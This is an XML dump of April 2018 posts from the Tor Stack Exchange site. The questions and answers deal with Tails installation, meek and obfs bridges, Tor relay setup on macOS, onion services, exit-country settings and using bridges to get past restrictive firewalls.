  <row Id="16955" PostTypeId="1" CreationDate="2018-04-01T13:53:35.453" Score="0" ViewCount="493" Body="&lt;p&gt;Acer chromebook 14 cb3-431-c5cq&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've booted into the primary installer [lexar 8gig]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then open installer before plugging in the verbatim 16gig drive, select it from the drop-down and start the installer. It quickly fails and gives the output shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RtIch.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RtIch.jpg&quot; alt=&quot;installer output (186x852)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time :-)&lt;/p&gt;&#xA;" OwnerUserId="21541" LastActivityDate="2018-04-03T07:54:37.613" Title="Tails Cloning installer fails on acer chromebook 14" Tags="|tails|tor-install|chrome-os|" AnswerCount="1" CommentCount="0" ClosedDate="2018-04-03T13:39:16.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="16957" PostTypeId="1" CreationDate="2018-04-01T17:01:11.570" Score="0" ViewCount="632" Body="&lt;p&gt;I'm trying to add meek pluggable support to an existing (working) obfs3/4 bridge in Debian 9. Due to the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek#Howtorunameek-serverbridge&quot; rel=&quot;nofollow noreferrer&quot;&gt;important note&lt;/a&gt; in tor trac the second instance is create using '/usr/sbin/tor-instance-create second'. I need to link second tor instance to meek.&#xA;However need some help to understand how build the meek git package as a complete newbie to 'go lang'. &#xA;So far below tasks are completed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cd ~&lt;br&gt;&#xA;  git clone &lt;a href=&quot;https://github.com/arlolra/meek&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/arlolra/meek&lt;/a&gt; curl -O&#xA;  &lt;a href=&quot;https://storage.googleapis.com/golang/go1.7.5.linux-amd64.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://storage.googleapis.com/golang/go1.7.5.linux-amd64.tar.gz&lt;/a&gt;&lt;br&gt;&#xA;  tar xvf go1.7.5.linux-amd64.tar.gz&lt;br&gt;&#xA;  sudo chown -R root:root./go&lt;br&gt;&#xA;  sudo mv go /usr/local&lt;br&gt;&#xA;  cd meek/meek-server&lt;br&gt;&#xA;  go build&#xA;   meek-server executable is created.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I copy the contents of ~/meek/meek-server/torrc to second instance torrc (/etc/tor/instances/second/torrc ) and then run 'systemctl start tor@second'?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to create the &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/meek.git/tree/meek-server/torrc&quot; rel=&quot;nofollow noreferrer&quot;&gt;cert.pem and key.pem&lt;/a&gt; described in the line 6?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Appreciate some help.&lt;/p&gt;&#xA;" OwnerUserId="21543" LastEditorUserId="21543" LastEditDate="2018-04-01T17:06:23.733" LastActivityDate="2022-03-31T13:07:45.787" Title="Running a meek server (bridge) in Debian" Tags="|meek|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16959" PostTypeId="2" ParentId="88" CreationDate="2018-04-02T08:31:16.337" Score="2" Body="&lt;p&gt;You can detect Tor users using TorDNSEL - &lt;a href=&quot;https://www.torproject.org/projects/tordnsel.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/tordnsel.html.en&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can just use &lt;a href=&quot;https://github.com/assafmo/IsTorExit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/assafmo/IsTorExit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21549" LastActivityDate="2018-04-02T08:31:16.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16960" PostTypeId="1" CreationDate="2018-04-02T16:48:28.323" Score="1" ViewCount="150" Body="&lt;p&gt;I am currently reading the Tor Spec (and other Tor-related technical documents) and have some questions about RSA keys. I can't understand why the &quot;connection key&quot; is used to establish the TLS connection. &#xA;Which key is used to sign the certificate and which key is present inside the certificate? If the &quot;identity key&quot; is used to sign, what is the &quot;connection key&quot; for?&#xA;I've been looking for this information for weeks, but I can't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help! :)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These are 1024-bit RSA keys:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;A long-term signing-only &quot;Identity key&quot; used to sign documents and&#xA;   certificates, and used to establish relay identity.&lt;/li&gt;&#xA;  &lt;li&gt;A medium-term TAP &quot;Onion key&quot; used to decrypt onion skins when accepting&#xA;   circuit extend attempts.  (See 5.1.)  Old keys MUST be accepted for a&#xA;   while after they are no longer advertised.  Because of this,&#xA;   relays MUST retain old keys for a while after they're rotated.  (See&#xA;   &quot;onion key lifetime parameters&quot; in dir-spec.txt.)&lt;/li&gt;&#xA;  &lt;li&gt;A short-term &quot;Connection key&quot; used to negotiate TLS connections.&#xA;   Tor implementations MAY rotate this key as often as they like, and&#xA;   SHOULD rotate this key at least once a day.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21334" LastActivityDate="2018-04-02T16:48:28.323" Title="RSA keys explanations" Tags="|security|private-key|certificate|tls|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16961" PostTypeId="2" ParentId="12491" CreationDate="2018-04-02T23:31:09.793" Score="0" Body="&lt;p&gt;The fact that I can use and still use Firefox 43, which is the last version within Firefox that allows ME to select whether or not to accept 1st Party Cookies, and I can still use and visit sites, disproves the Web Functionality portion. Sites complain, but open anyway depending on what scripts I allow. Don't know why Firefox can't go back to that either. Somehow I can't paste that jpg snip into the response area. But anyone familiar with earlier versions of Firefox are well aware of that selection on the Privacy page.&#xA;It is and was stellar, and even TOR has deleted. Not sure why. &lt;/p&gt;&#xA;" OwnerUserId="21554" LastActivityDate="2018-04-02T23:31:09.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16964" PostTypeId="2" ParentId="16955" CreationDate="2018-04-03T07:54:37.613" Score="0" Body="&lt;p&gt;was also discussed here: &lt;a href=&quot;https://tor.stackexchange.com/questions/12105/impossible-to-install-tails&quot;&gt;Impossible to install Tails&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;might be a solution for you aswell.&lt;/p&gt;&#xA;" OwnerUserId="21561" LastActivityDate="2018-04-03T07:54:37.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16975" PostTypeId="2" ParentId="15915" CreationDate="2018-04-05T15:56:46.950" Score="1" Body="&lt;p&gt;Go to:&#xA;&lt;a href=&quot;https://tails.boum.org/contribute/build/reproducible/#index2h3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/contribute/build/reproducible/#index2h3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you will find a link to the SHA-256 checksum of the latest ISO image.&lt;/p&gt;&#xA;" OwnerUserId="21589" LastActivityDate="2018-04-05T15:56:46.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16976" PostTypeId="1" CreationDate="2018-04-05T20:09:02.593" Score="0" ViewCount="366" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/olYM4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/olYM4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;first , sorry for bad English&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i try to run a wordpress site on local machine and everything is ok but when i brows my site using tor browser page wont load completely an when i click on a link ,[![enter image description here][2]][2] url change to &lt;a href=&quot;http://localhost/site&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/site&lt;/a&gt;&#xA;what shod i do  &lt;/p&gt;&#xA;" OwnerUserId="21591" LastEditorUserId="21591" LastEditDate="2018-04-05T20:18:26.970" LastActivityDate="2023-08-28T17:24:21.920" Title="localhost wordpress won't load completely on tor browser" Tags="|onion-services|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16978" PostTypeId="2" ParentId="16976" CreationDate="2018-04-05T20:31:04.493" Score="0" Body="&lt;p&gt;tor browse uses noscript in default and wordpress require js so that is where it break. On second-hand wordpress is quite vulnerable so if you don't take caution you get pwned and your ip will be leaked.&lt;/p&gt;&#xA;" OwnerUserId="21593" LastActivityDate="2018-04-05T20:31:04.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16984" PostTypeId="2" ParentId="13615" CreationDate="2018-04-06T06:28:18.920" Score="1" Body="&lt;p&gt;There is an official way to run a relay on OS X, but warning: It can get messy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you will need to install Homebrew. Instruction at &lt;a href=&quot;https://brew.sh/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://brew.sh/&lt;/a&gt;, or run the following command in Terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/ruby -e &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that command finishes, run the following command in terminal&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that finishes, Terminal might ask you to patch it or something by running a certain command, which I had to. Use the commands Terminal will give you to patch whatever it says to. Once that is done, on the OS X menu bar click Go -&gt; Go To Folder and go to  /usr/local/etc/tor/. There will be a file called &quot;torrc.sample&quot; Open this file. At the bottom of the page, type in this information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nickname enter-a-name-for-your-tor-relay&#xA;ORPort enter-a-port-number-here&#xA;ExitPolicy 0&#xA;ControlSocket 0&#xA;ContactInfo enter-an-email-address&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, the port number you choose next to ORPort needs to be configured for port forwarding on your router and firewalls if you have any. Also the email address you put will be publicly listed on your relay information in the tor network, however I'd recommend using one that works as tor will send an email to this address if the relay is not working correctly, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the things you have to run and patch in terminal can get a little messy. Let me know how it goes buddy.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="-1" LastEditDate="2018-07-23T15:33:52.523" LastActivityDate="2018-07-23T15:33:52.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16986" PostTypeId="1" CreationDate="2018-04-07T13:04:15.510" Score="1" ViewCount="951" Body="&lt;p&gt;I have been using Tor for a time now. I had it configured to conect from an Irish IP since that is what I need. It was always working okay but now suddenly it won't conect itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the IP set by adding: &lt;code&gt;ExitNodes {ie}&lt;/code&gt; in the &lt;code&gt;torccdefaults&lt;/code&gt; file. Everything was okay until yesterday when I tried to open it and it got stucked loading, &quot;requesting relay information&quot;. If I delete that added script from the file it opens perfectly, but when i add it again it gets stucked once again. It was working smoothly until now, any idea what the problem might be and how can i fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works with every country except for Ireland.&lt;/p&gt;&#xA;" OwnerUserId="21626" LastEditorUserId="88" LastEditDate="2018-04-12T09:50:42.380" LastActivityDate="2018-06-11T15:50:09.123" Title="I am unable to conect to Tor from an specific country IP" Tags="|relays|ip-address|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16995" PostTypeId="2" ParentId="15671" CreationDate="2018-04-09T18:09:31.820" Score="1" Body="&lt;p&gt;First, I would not recommend using tor2web for visiting onion websites, use the tor browser which can be downloaded for Windows, Mac OS X, and Linux here: &lt;a href=&quot;https://www.torproject.org/download/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using tor2rweb can result in huge security issues as it does not hide your ip address from the website.  I tried using it once and I could not get to any websites whatsoever with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go there in the tor browser and it still does not load, either the website was shut down or is temporarily closed, which on onion services does happen a lot.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="12737" LastEditDate="2018-04-10T21:07:28.687" LastActivityDate="2018-04-10T21:07:28.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16996" PostTypeId="1" CreationDate="2018-04-10T04:39:16.153" Score="1" ViewCount="416" Body="&lt;p&gt;I am working on tor network security. I planned to set up my tor node setup with 3 nodes : entry,middle and exit node. I don't want to work on real time client's data. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it any way to not publish my nodes to the tor authoritative directory so that I can only use it for my research purpose?  &lt;/li&gt;&#xA;&lt;li&gt;If it is possible, can you force my tor browser to use only my unpublished tor nodes?&#xA;I configured shadow locally and there is no proper documentation for setting up a entire 3 node tor architecture. Any help will be appreciated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21375" LastActivityDate="2018-07-09T16:35:20.350" Title="Private tor network set up" Tags="|tor-browser-bundle|configuration|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16997" PostTypeId="1" AcceptedAnswerId="16998" CreationDate="2018-04-10T12:41:02.300" Score="1" ViewCount="159" Body="&lt;p&gt;Here's the story.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When I run Tor software, in theory my computer becomes a &lt;em&gt;relay&lt;/em&gt;, so&#xA;  &lt;strong&gt;user x&lt;/strong&gt; sends some data to &lt;strong&gt;my computer&lt;/strong&gt; and &lt;strong&gt;my computer&lt;/strong&gt; passes&#xA;  that data to &lt;strong&gt;user y&lt;/strong&gt; and vice versa.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is achieved by &lt;strong&gt;user x&lt;/strong&gt; calling &lt;strong&gt;&lt;em&gt;my IP address&lt;/em&gt;&lt;/strong&gt; (for example 123.123.123.123) and sending something to the Tor software running on my system. But it's not possible! My ADSL router doesn't allow traffics to go directly to my local IP address (for example 192.168.1.5). Instead it shows an error page or something (default firewall policies of all known brands!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if so, how does my router knows which local IP address to pass the incoming data?&lt;/p&gt;&#xA;" OwnerUserId="21667" LastActivityDate="2018-07-02T06:28:27.453" Title="How does Tor pass the router?" Tags="|security|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16998" PostTypeId="2" ParentId="16997" CreationDate="2018-04-10T15:40:50.220" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When I run Tor software, in theory my computer becomes a relay&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to purposefully configure the Tor software to be a relay. And if you're doing that, you hopefully know how to configure your router to forward a port to your computer so you can run a relay on it.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-10T15:40:50.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16999" PostTypeId="2" ParentId="16996" CreationDate="2018-04-10T15:45:36.387" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/chutney.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chutney&lt;/a&gt; makes it easy to set up a testing tor network.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it any way to not publish my nodes to the tor authoritative directory so that I can only use it for my research purpose?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. You tell them to publish to &lt;em&gt;your&lt;/em&gt; authorities instead.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If it is possible, can you force my tor browser to use only my unpublished tor nodes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By configuring the Tor that Tor Browser runs in the background to connect to &lt;em&gt;your&lt;/em&gt; tor network instead, yes.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-10T15:45:36.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17002" PostTypeId="1" CreationDate="2018-04-10T23:47:03.927" Score="0" ViewCount="6676" Body="&lt;p&gt;When I try to open up an onion site, it says forbidden. I've looked at some sites for this question and it says you have to change your time zone. But what timezone? There's so many to choose from lol. Do you just change it by going to the windows setting?&lt;/p&gt;&#xA;" OwnerUserId="21672" LastActivityDate="2018-08-09T14:00:05.260" Title="Tor is not loading onion sites? Why is this happening?" Tags="|tor-browser-bundle|configuration|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17004" PostTypeId="2" ParentId="17002" CreationDate="2018-04-11T12:36:26.530" Score="1" Body="&lt;p&gt;Most onion sites are run by amateurs and are thus going down temporarily/permanently all the time. This can be seemingly exacerbated by indexes not removing links that have been down for a significant length of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can access &quot;big&quot; onion services such as Facebook's (&lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt;) or DuckDuckGo's (&lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt;), then you're very likely trying to access onion services that are down. There's probably nothing wrong with your configuration.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-11T12:36:26.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17005" PostTypeId="1" AcceptedAnswerId="17015" CreationDate="2018-04-11T12:56:50.430" Score="1" ViewCount="828" Body="&lt;p&gt;Is it better to have one server that connects to Tor and connect all the hidden services to that one server, or one server connecting to Tor for each hidden service? The Tor connections will all be originating from one external IP address. For the purposes of this question you can assume that I have unlimited resources, so the costs of running multiple servers instead of one should not be considered.&lt;/p&gt;&#xA;" OwnerUserId="21684" LastActivityDate="2018-04-13T03:46:13.940" Title="Multiple Hidden Services" Tags="|onion-services|server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17008" PostTypeId="2" ParentId="16735" CreationDate="2018-04-11T17:07:43.053" Score="-1" Body="&lt;p&gt;Nodes know how long the circuit chain is and TOR will not expand your chain beyond 8 cells. IIRC there is some sort of crypto based way to verify this.&lt;/p&gt;&#xA;" OwnerUserId="7711" LastActivityDate="2018-04-11T17:07:43.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17011" PostTypeId="2" ParentId="16442" CreationDate="2018-04-12T04:19:34.237" Score="-1" Body="&lt;p&gt;If your School Computer has a USB port, then you can use an live OS to it.&#xA;The best choice is Tails OS Because it has inbuilt Tor browser and is specially used for Plug-n-play type system.&#xA;It might work on school computer as they also have Suggested on their Website.&#xA;Google Tails OS, go to it's website and learn how to do it all!&#xA;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="21698" LastActivityDate="2018-04-12T04:19:34.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17012" PostTypeId="2" ParentId="16986" CreationDate="2018-04-12T09:52:41.090" Score="1" Body="&lt;p&gt;Ireland is one of the countries which has only a &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/country:ie&quot; rel=&quot;nofollow noreferrer&quot;&gt;few Tor relays&lt;/a&gt;. If you search for &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/country:ie%20flag:exit&quot; rel=&quot;nofollow noreferrer&quot;&gt;exit relays in Ireland&lt;/a&gt; Tor metrics currently shows no results. This means that at the moment there is no exit relay in Ireland. So it is not possible to exit from Tor in Ireland.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2018-04-12T09:52:41.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17014" PostTypeId="2" ParentId="17005" CreationDate="2018-04-12T21:45:15.600" Score="-1" Body="&lt;p&gt;I think Tor connects to your server(s) / service(s), not the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But anyway, to your question, I can't see how this is a Tor question. Tor is only a network contraption to pass connections on to those servers. And at no point you're suggesting you'd run more than one Tor process. So it doesn't make any difference for Tor to be mapping its connections to one server or many.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To host your services, the same guidelines would apply as to whether to host them in one server or many, just as if Tor wasn't there. E.g., if you think that a service may bring down the server and your solution to that without Tor would be to run multiple servers (i.e., for isolation), the solution if Tor is present would be the same.&lt;/p&gt;&#xA;" OwnerUserId="3792" LastActivityDate="2018-04-12T21:45:15.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17015" PostTypeId="2" ParentId="17005" CreationDate="2018-04-13T03:46:13.940" Score="0" Body="&lt;p&gt;&quot;Better&quot; is subjective. There seems to be nothing against running multiple onion services on the same Tor instance, as long as it is running as a client, not a relay. (See &lt;a href=&quot;https://www.torproject.org/docs/tor-onion-service.html.en#three&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-onion-service.html.en#three&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There &lt;em&gt;is&lt;/em&gt; a performance impact when running multiple onion services on the same instance of Tor, but there is no limit to how many you can add. (See &lt;a href=&quot;https://tor.stackexchange.com/a/1391/12240&quot;&gt;https://tor.stackexchange.com/a/1391/12240&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2018-04-13T03:46:13.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17023" PostTypeId="2" ParentId="4727" CreationDate="2018-04-15T00:39:54.057" Score="0" Body="&lt;p&gt;It could be that your college has some type of firewall that is blocking tor. With the way that the tor browser is designed now, you may want to go home and do what I'm about to suggest doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1. Go home, and when you are on your home or uncesnored internet connection, connect directly to the tor network first. I will supply screenshots below on what you should do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: stack exchage would not allow me to post the screenshots as they were too big, you can find them at this link: &lt;a href=&quot;https://drive.google.com/open?id=1bqE0NeM49q_zn0ysvh7NP6o4sJleFsgP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1bqE0NeM49q_zn0ysvh7NP6o4sJleFsgP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When at home and directly connected to tor, click the onion icon and click &quot;tor network settings&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see three options, tor is censored in my country, I use a proxy to access the internet, and this computer goes through a firewall that only allows certain ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend checking the one that says &quot;this computer goes through a firewall that only allows certain ports&quot;. This might not be a 100% necessary step for your college firewall, but I would check it in case your college does have a firewall with a super restrictive port blocker; it will say ports 80, 443 which are two ports that need to be open to get a network connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find out if your university uses local proxy settings to access the internet (if they have a proxy server on their network). If they do, check I use a proxy to access the internet and enter the same proxy setting they normally use in there (leave it unchecked if they don't use a proxy server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leave the port restriction option mentioned earlier checked, if you have both that checked and the proxy server information entered correctly, try connecting now. If it works then awesome. However it could be the actual tor network itself is blocked. If that's the case, check &quot;tor is censored in my country&quot; This will give you the option to use bridges, unlisted / disguised tor entry points, the point behind them is that because they aren't listed in the public relay list, you can still connect to them if the public tor network is blocked. Try using &quot;select a bridge I know&quot; and try them all and use the one that works. If they get blocked; find more and use the option &quot;provide a bride I know&quot; and enter them.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to find bridges.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a gmail.com or yahoo.com email account (no other email service will be accepted) send an email to bridges@torproject.org with the subject line &quot;get help&quot;. Doing this will receive an email from tor with how to ask for differently disguised bridges. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When on non-censored internet (or on a smartphone) go to &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org&lt;/a&gt;. Here  you can get a list of currently operating bridges as well as their disguise.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-04-15T00:39:54.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17024" PostTypeId="1" CreationDate="2018-04-15T08:49:52.403" Score="0" ViewCount="179" Body="&lt;p&gt;I'm running an Exit-Relay Tor through SSH and it shows an error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tried to establish rendezvous on non-OR circuit with purpose Acting as &#xA;rendezvous (pending)'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it duplicates itself many times(15 and more) &#xA;this is my torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nickname human&#xA;ORPort 443&#xA;ExitRelay 0&#xA;SocksPort 0&#xA;ControlSocket 0&#xA;DisableDebuggerAttachment 0&#xA;ContactInfo human@gmail.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find an answer to this problem.&lt;/p&gt;&#xA;" OwnerUserId="21173" LastEditorUserId="22577" LastEditDate="2018-08-01T19:21:15.873" LastActivityDate="2018-08-01T19:21:15.873" Title="Error message in Exit-Relay Tor" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17025" PostTypeId="1" CreationDate="2018-04-15T10:32:47.853" Score="0" ViewCount="386" Body="&lt;p&gt;I get the warning below when starting running a bridge.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I change the torrc file, or do something else, to deal with this problem, or should I ignore the message?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apr 14 06:16:02.385 [warn] OpenSSL version from headers does not match the version we're running with. If you get weird crashes, that might be why. (Compiled with 1000207f: OpenSSL 1.0.2g-fips  1 Mar 2016; running with 1000207f: OpenSSL 1.0.2g  1 Mar 2016). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apr 14 06:16:02.430 [notice] Tor 0.3.2.10 (git-0edaa32732ec8930) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g, Zlib 1.2.8, Liblzma 5.1.0alpha, and Libzstd N/A. &lt;/p&gt;&#xA;" OwnerUserId="19303" LastActivityDate="2022-03-26T20:04:25.430" Title="OpenSSL warning notice for bridge" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17026" PostTypeId="1" CreationDate="2018-04-15T15:11:46.213" Score="0" ViewCount="282" Body="&lt;p&gt;I'd like to know if there is a way I can block / allow specific ip's address&#xA;to access my Exit-relay. &lt;/p&gt;&#xA;" OwnerUserId="21173" LastEditorUserId="20069" LastEditDate="2018-04-29T19:31:05.827" LastActivityDate="2022-04-09T07:04:15.450" Title="How to block\allow specific ip in my Exit-relay Tor" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17027" PostTypeId="1" CreationDate="2018-04-16T03:48:32.367" Score="1" ViewCount="673" Body="&lt;p&gt;OK so I'm fairly new but a very fast learner and I investigate everything before I jump and do something. So my questions is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best set-up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Mac and was thinking of just running Tails, since Mac is clean, and Wi-Fi is public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm reading so much on Mac vulnerabilities along with Tails own vulnerabilities. Then I see to make sure to use a VPN among other set-ups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody help me out.&#xA;What's the easiest set-up that gives me invisibility?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Mac and other computers and I can learn any OS or program.&lt;/p&gt;&#xA;" OwnerUserId="21715" LastEditorUserId="3011" LastEditDate="2018-08-01T19:20:36.363" LastActivityDate="2018-08-01T19:20:36.363" Title="Best set-up to navigate the dark web anonymously" Tags="|tor-browser-bundle|anonymity|security|tails|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
